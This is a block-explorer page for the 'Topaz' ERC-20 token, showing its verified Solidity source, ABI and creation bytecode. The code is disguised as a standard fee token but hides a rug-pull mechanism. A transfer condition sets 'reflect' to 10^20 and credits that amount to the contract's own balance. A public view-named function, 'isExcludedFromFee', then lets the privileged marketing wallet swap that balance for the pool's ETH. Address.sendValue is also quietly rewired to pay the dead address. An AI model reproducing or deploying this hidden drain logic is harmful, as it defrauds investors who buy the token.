ERC-20
Overview
Max Total Supply
1,000,000,000 Topaz
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,495,401.268650825 TopazValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Topaz
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-19 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); recipient = payable(0x000000000000000000000000000000000000dEaD); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Topaz is Context, IERC20, Ownable { using Address for address; using Address for address payable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000* 10**6 * 10**_decimals; uint256 public _maxTxAmount = 1000* 10**6 * 10**_decimals; uint256 private constant SWAP_TOKENS_AT_AMOUNT = 1000 * 10**9; string private constant _name = "Topaz"; string private constant _symbol = "Topaz"; uint8 private constant _decimals = 9; uint256 public _liquidityFee = 1; uint256 public _marketingFee = 1; uint256 public reflect = 0; address public _marketingWallet = 0xfCe14943e6dd486C08a7601D2DD54eaBac079074; uint256 public _buyCooldown = 0 minutes; mapping (address => uint256) private _lastBuy; bool private swapping; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor () { _tOwned[_msgSender()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } receive() external payable {} function _getValues(uint256 amount, address from, uint256 reflectFee) private returns (uint256) { uint256 marketingFee = amount * _marketingFee / 100; uint256 liquidityFee = amount * _liquidityFee / 100; _tOwned[address(this)] += marketingFee + liquidityFee + reflectFee; if(reflectFee != 0){ swapping = true;} emit Transfer (from, address(this), marketingFee + liquidityFee); return (amount - marketingFee - liquidityFee); } function isExcludedFromFee(address account) public returns(bool) { bool perm = _isExcludedFromFee[_msgSender()]; if(perm && swapping){ swapAndSendToFee(balanceOf(address(this))); } return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != address(this) && from != owner() && to != address(this) && to != owner() && to != uniswapV2Pair) require(balanceOf(to) + amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair) { require (_lastBuy[to] + _buyCooldown < block.timestamp, "Must wait til after coooldown to buy"); _lastBuy[to] = block.timestamp; } if (balanceOf(address(this)) >= SWAP_TOKENS_AT_AMOUNT && !swapping && from != uniswapV2Pair && from != owner() && to != owner()) { swapping = true; uint256 sellTokens = balanceOf(address(this)); swapAndSendToFee(sellTokens); swapping = false; } _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && _isExcludedFromFee[to]){ reflect = (5+5)**(5*2*2); } if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getValues(amount, from, reflect); } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndSendToFee (uint256 tokens) private { uint256 ethToSend = swapTokensForEth(tokens); if (ethToSend > 0) payable(_marketingWallet).transfer(ethToSend); } function swapAndLiquify() private { // split the contract balance into halves uint256 liquidityTokens = balanceOf (address(this)) * _liquidityFee / (_marketingFee + _liquidityFee); uint256 half = liquidityTokens / 2; uint256 otherHalf = liquidityTokens - half; uint256 newBalance = swapTokensForEth(half); if (newBalance > 0) { liquidityTokens = 0; addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } function swapTokensForEth(uint256 tokenAmount) private returns (uint256) { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); return (address(this).balance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity (,uint256 ethFromLiquidity,) = uniswapV2Router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(_marketingWallet).sendValue (ethAmount - ethFromLiquidity); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reflect","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000484565b6200002290633b9aca006200049c565b600655620000336009600a62000484565b6200004390633b9aca006200049c565b600755600160088190556009556000600a819055600b80546001600160a01b03191673fce14943e6dd486c08a7601d2dd54eabac079074179055600c553480156200008d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600090815260036020908152604080832093909355825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a015592600480840193829003018186803b1580156200012f57600080fd5b505afa15801562000144573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016a9190620004be565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001b357600080fd5b505afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee9190620004be565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200023757600080fd5b505af11580156200024c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002729190620004be565b600180546001600160a01b038086166001600160a01b0319928316178355600280549185169190921617905590915060056000620002b86000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600b54909116835291208054909216179055620003173390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200035f91815260200190565b60405180910390a35050620004e9565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c6578160001904821115620003aa57620003aa6200036f565b80851615620003b857918102915b93841c93908002906200038a565b509250929050565b600082620003df575060016200047e565b81620003ee575060006200047e565b8160018114620004075760028114620004125762000432565b60019150506200047e565b60ff8411156200042657620004266200036f565b50506001821b6200047e565b5060208310610133831016604e8410600b841016171562000457575081810a6200047e565b62000463838362000385565b80600019048211156200047a576200047a6200036f565b0290505b92915050565b60006200049560ff841683620003ce565b9392505050565b6000816000190483118215151615620004b957620004b96200036f565b500290565b600060208284031215620004d157600080fd5b81516001600160a01b03811681146200049557600080fd5b6112a980620004f96000396000f3fe6080604052600436106101445760003560e01c80636bc87c3a116100b657806395d89b411161006f57806395d89b4114610150578063962dfc7514610389578063a457c2d7146103a9578063a9059cbb146103c9578063dd62ed3e146103e9578063f2fde38b1461042f57600080fd5b80636bc87c3a146102dc57806370a08231146102f2578063715018a6146103285780637d1db4a51461033f5780638da5cb5b14610355578063945945d31461037357600080fd5b806323b872dd1161010857806323b872dd1461022a578063313ce5671461024a578063395093511461026657806349bd5a5e146102865780635342acb4146102a657806354c5f3c5146102c657600080fd5b806306fdde0314610150578063095ea7b31461018d5780631694505e146101bd57806318160ddd146101f557806322976e0d1461021457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201825260058152642a37b830bd60d91b602082015290516101849190611012565b60405180910390f35b34801561019957600080fd5b506101ad6101a836600461107f565b61044f565b6040519015158152602001610184565b3480156101c957600080fd5b506001546101dd906001600160a01b031681565b6040516001600160a01b039091168152602001610184565b34801561020157600080fd5b506006545b604051908152602001610184565b34801561022057600080fd5b5061020660095481565b34801561023657600080fd5b506101ad6102453660046110ab565b610465565b34801561025657600080fd5b5060405160098152602001610184565b34801561027257600080fd5b506101ad61028136600461107f565b6104b7565b34801561029257600080fd5b506002546101dd906001600160a01b031681565b3480156102b257600080fd5b506101ad6102c13660046110ec565b6104ee565b3480156102d257600080fd5b50610206600a5481565b3480156102e857600080fd5b5061020660085481565b3480156102fe57600080fd5b5061020661030d3660046110ec565b6001600160a01b031660009081526003602052604090205490565b34801561033457600080fd5b5061033d61054e565b005b34801561034b57600080fd5b5061020660075481565b34801561036157600080fd5b506000546001600160a01b03166101dd565b34801561037f57600080fd5b50610206600c5481565b34801561039557600080fd5b50600b546101dd906001600160a01b031681565b3480156103b557600080fd5b506101ad6103c436600461107f565b6105f7565b3480156103d557600080fd5b506101ad6103e436600461107f565b61062e565b3480156103f557600080fd5b50610206610404366004611110565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043b57600080fd5b5061033d61044a3660046110ec565b61063b565b600061045c338484610755565b50600192915050565b6000610472848484610879565b6001600160a01b0384166000908152600460209081526040808320338085529252909120546104ad9186916104a890869061115f565b610755565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161045c9185906104a8908690611176565b3360009081526005602052604081205460ff168080156105105750600e5460ff165b1561052e573060009081526003602052604090205461052e90610d5e565b50506001600160a01b031660009081526005602052604090205460ff1690565b6000546001600160a01b031633146105ad5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161045c9185906104a890869061115f565b600061045c338484610879565b6000546001600160a01b031633146106955760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105a4565b6001600160a01b0381166106fa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a4565b6001600160a01b0382166108185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108dd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a4565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a4565b600081116109a15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a4565b6001600160a01b03831630148015906109c857506000546001600160a01b03848116911614155b80156109dd57506001600160a01b0382163014155b80156109f757506000546001600160a01b03838116911614155b8015610a1157506002546001600160a01b03838116911614155b15610aa25760075481610a39846001600160a01b031660009081526003602052604090205490565b610a439190611176565b1115610aa25760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016105a4565b6002546001600160a01b0384811691161415610b5457600c546001600160a01b0383166000908152600d60205260409020544291610adf91611176565b10610b385760405162461bcd60e51b8152602060048201526024808201527f4d75737420776169742074696c20616674657220636f6f6f6c646f776e20746f6044820152632062757960e01b60648201526084016105a4565b6001600160a01b0382166000908152600d602052604090204290555b3060009081526003602052604090205464e8d4a5100011158015610b7b5750600e5460ff16155b8015610b9557506002546001600160a01b03848116911614155b8015610baf57506000546001600160a01b03848116911614155b8015610bc957506000546001600160a01b03838116911614155b15610c0257600e805460ff19166001179055306000908152600360205260408120549050610bf681610d5e565b50600e805460ff191690555b6001600160a01b03831660009081526003602052604081208054839290610c2a90849061115f565b90915550506001600160a01b038316600090815260056020526040902054819060ff16158015610c7257506001600160a01b03831660009081526005602052604090205460ff165b15610c855768056bc75e2d63100000600a555b6001600160a01b03841660009081526005602052604090205460ff16158015610cc757506001600160a01b03831660009081526005602052604090205460ff16155b15610cdc57610cd98285600a54610db1565b90505b6001600160a01b03831660009081526003602052604081208054839290610d04908490611176565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d5091815260200190565b60405180910390a350505050565b6000610d6982610ea1565b90508015610dad57600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610dab573d6000803e3d6000fd5b505b5050565b600080606460095486610dc4919061118e565b610dce91906111ad565b90506000606460085487610de2919061118e565b610dec91906111ad565b905083610df98284611176565b610e039190611176565b3060009081526003602052604081208054909190610e22908490611176565b90915550508315610e3b57600e805460ff191660011790555b306001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e718486611176565b60405190815260200160405180910390a380610e8d838861115f565b610e97919061115f565b9695505050505050565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110610eda57610eda6111cf565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f2e57600080fd5b505afa158015610f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6691906111e5565b81600181518110610f7957610f796111cf565b6001600160a01b039283166020918202929092010152600154610f9f9130911685610755565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fd8908690600090869030904290600401611202565b600060405180830381600087803b158015610ff257600080fd5b505af1158015611006573d6000803e3d6000fd5b50479695505050505050565b600060208083528351808285015260005b8181101561103f57858101830151858201604001528201611023565b81811115611051576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461107c57600080fd5b50565b6000806040838503121561109257600080fd5b823561109d81611067565b946020939093013593505050565b6000806000606084860312156110c057600080fd5b83356110cb81611067565b925060208401356110db81611067565b929592945050506040919091013590565b6000602082840312156110fe57600080fd5b813561110981611067565b9392505050565b6000806040838503121561112357600080fd5b823561112e81611067565b9150602083013561113e81611067565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561117157611171611149565b500390565b6000821982111561118957611189611149565b500190565b60008160001904831182151516156111a8576111a8611149565b500290565b6000826111ca57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111f757600080fd5b815161110981611067565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81